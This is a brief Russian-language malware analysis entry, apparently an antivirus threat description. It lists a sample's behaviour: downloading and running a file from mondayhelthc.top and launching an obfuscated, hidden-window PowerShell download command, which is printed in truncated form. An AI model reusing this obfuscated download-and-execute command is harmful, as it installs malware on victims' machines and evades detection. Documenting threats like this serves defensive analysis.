Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://mondayhelthc.top/read.php?f=404 как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "POWe^R^Shell.^E^xE ^-exEcuTio^NpoLI^cY^ bypass^ -^no^P^rof^i^L^e -^winDoWsTYLe^ ^H^I^Dd^en ^(Ne^w-oBjECT s^YsTE^M^.N^et.WeBClIent^).^Do^WnLoAdfil^e^('http://mondayhelthc.top/...
Сетевая активность
UDP
- DNS ASK mo####helthc.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "POWe^R^Shell.^E^xE ^-exEcuTio^NpoLI^cY^ bypass^ -^no^P^rof^i^L^e -^winDoWsTYLe^ ^H^I^Dd^en ^(Ne^w-oBjECT s^YsTE^M^.N^et.WeBClIent^).^Do^WnLoAdfil^e^('http://mondayhelthc.top/...' (со скрытым окном)
